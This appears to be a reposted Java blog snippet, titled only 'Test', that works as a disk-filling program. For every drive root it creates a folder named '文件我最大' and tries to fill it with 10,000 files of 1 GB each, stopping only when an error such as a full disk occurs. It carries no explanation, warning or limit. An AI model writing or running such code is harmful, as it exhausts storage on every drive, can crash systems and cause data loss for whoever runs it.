package test;
import java.io.File;
import java.io.IOException;
import java.io.RandomAccessFile;
public class Test {
public static void main(String[] args) throws IOException {
File[] file1 = File.listRoots();
for (int k = 0; k < file1.length; k++) {
String path = file1[k].getAbsolutePath();
path = path.substring(0, path.length() - 1);
File file = new File(path + "/文件我最大/");
if (!file.isDirectory()) {
file.mkdir();
}
for (int i = 0; i < 10000; i++) {
File file3 = new File(path + "/文件我最大/" + i);
if (!file3.exists()) {
file3.createNewFile();
RandomAccessFile rac = new RandomAccessFile(file3, "rw");
try {
rac.setLength(1073741824);
} catch (Exception e) {
// TODO Auto-generated catch block
e.printStackTrace();
break;
}
rac.close();
}
}
}
}
}
转载于:https://blog.51cto.com/wuqinglong/1620206